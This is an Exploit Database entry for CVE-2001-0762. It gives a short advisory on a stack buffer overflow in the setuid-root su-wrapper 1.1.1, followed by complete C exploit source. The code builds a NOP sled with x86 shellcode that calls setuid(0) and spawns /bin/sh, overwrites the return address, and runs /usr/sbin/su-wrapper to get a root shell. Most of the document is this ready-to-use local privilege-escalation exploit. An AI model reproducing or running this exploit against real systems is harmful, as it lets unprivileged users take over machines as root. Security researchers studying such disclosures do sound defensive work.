Exploit kosch suid wrapper 1.1.1 - Local Buffer Overflow

[Exploiter]

EDB-ID

20906

Проверка EDB

1. Пройдено

Автор

DEX

Тип уязвимости

LOCAL

Платформа

UNIX

CVE

cve-2001-0762

Дата публикации

2001-06-07

// source: https://www.securityfocus.com/bid/2837/info

A boundary condition error exists in suid wrapper (or 'su-wrapper.')

The overflow occurs when a string exceeding approximately 1032 characters is given as the first argument when the program is run. Because the program is installed setuid root, it may be possible for local users to execute arbitrary code/commands with those privileges. 

/* - su-wrapper.c - */

/*************************************************************************/
/* /usr/sbin/su-wrapper(su-wrapper 1.1.1) local root exploit.            */
/*                                                                       */
/* Package Description:                                                  */
/* su-wrapper is an little util which lets special users execute         */ 
/* processes under another uid/gid.                                      */
/*                                                                       */
/* Vulnerability Description:                                            */
/* If a long line on the first argument is gived, the program sends      */
/* a SIGSEGV Signal.                                                     */
/*                                                                       */
/* Affected: All Systems who have su-wrapper installed :P                */
/*                                                                       */
/* I don't know if other versions are vulnerable too.                    */
/*                                                                       */
/* This bug was reported to Enrico Weigelt ([email protected])      */
/*                                                                       */
/* Greets: NOP, dr_fdisk^, yield, vlad, dead, fatal, kuk, neuro, alt3kx, */
/* etc                                                                   */
/*        dex: [email protected] <> http://www.raza-mexicana.org -     */
/*************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFERSIZE 1032
#define OFFSET 0
#define ALIGN 0

static char shellcode[]=
  "\x29\xc0"                             /* subl %eax, %eax          */
  "\xb0\x46"                             /* movb $70, %al            */
  "\x29\xdb"                             /* subl %ebx, %ebx          */
  "\xb3\x0c"                             /* movb $12, %bl            */
  "\x80\xeb\x0c"                         /* subb $12, %bl            */
  "\x89\xd9"                             /* movl %ebx, %ecx          */
  "\xcd\x80"                             /* int $0x80                */
  "\xeb\x18"                             /* jmp callz                */
  "\x5e"                                 /* popl %esi                */
  "\x29\xc0"                             /* subl %eax, %eax          */
  "\x88\x46\x07"                         /* movb %al, 0x07(%esi)     */
  "\x89\x46\x0c"                         /* movl %eax, 0x0c(%esi)    */
  "\x89\x76\x08"                         /* movl %esi, 0x08(%esi)    */
  "\xb0\x0b"                             /* movb $0x0b, %al          */
  "\x87\xf3"                             /* xchgl %esi, %ebx         */
  "\x8d\x4b\x08"                         /* leal 0x08(%ebx), %ecx    */
  "\x8d\x53\x0c"                         /* leal 0x0c(%ebx), %edx    */
  "\xcd\x80"                             /* int $0x80                */
  "\xe8\xe3\xff\xff\xff"                 /* call start               */
  "\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long get_sp(void) {
 __asm__("movl %esp, %eax");
}

void main(int argc, char **argv) {

 int i;

 unsigned long addr;

 char *buffer;

 int buffersize = BUFFERSIZE;
 int offset = OFFSET;
 int align = ALIGN;

 if(argc > 1) offset = atoi(argv[1]);

 if(argc > 2) align = atoi(argv[2]);

 if(argc > 3) buffersize = atoi(argv[3]);

 buffer = (char *)malloc(buffersize +8);

 addr = get_sp() - offset;

 for(i = 0; i < buffersize; i+=4) {
  *(long *)&buffer[i] = 0x90909090;
 }

 *(long *)&buffer[buffersize - 4] = addr;

 *(long *)&buffer[buffersize - 8] = addr;

 memcpy(buffer + buffersize - 8 - strlen(shellcode) - align, shellcode, strlen(shellcode));

 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
 
 printf("[x] su-wrapper 1.1.1 local root exploit\n");
 printf("[x] dex: - [email protected] <> http://www.raza-mexicana.org - \n");

 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");

 printf("[x] Address = 0x%x, Align = %d, Offset = %d\n", addr, align, offset);

 printf("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n");

 printf("[x] Exploiting...\n");

 if ((execl("/usr/sbin/su-wrapper", "su-wrapper", buffer, NULL)) != 0) {
  printf("Could not start su-wrapper, /usr/sbin/su-wrapper exists?\n");
 }

}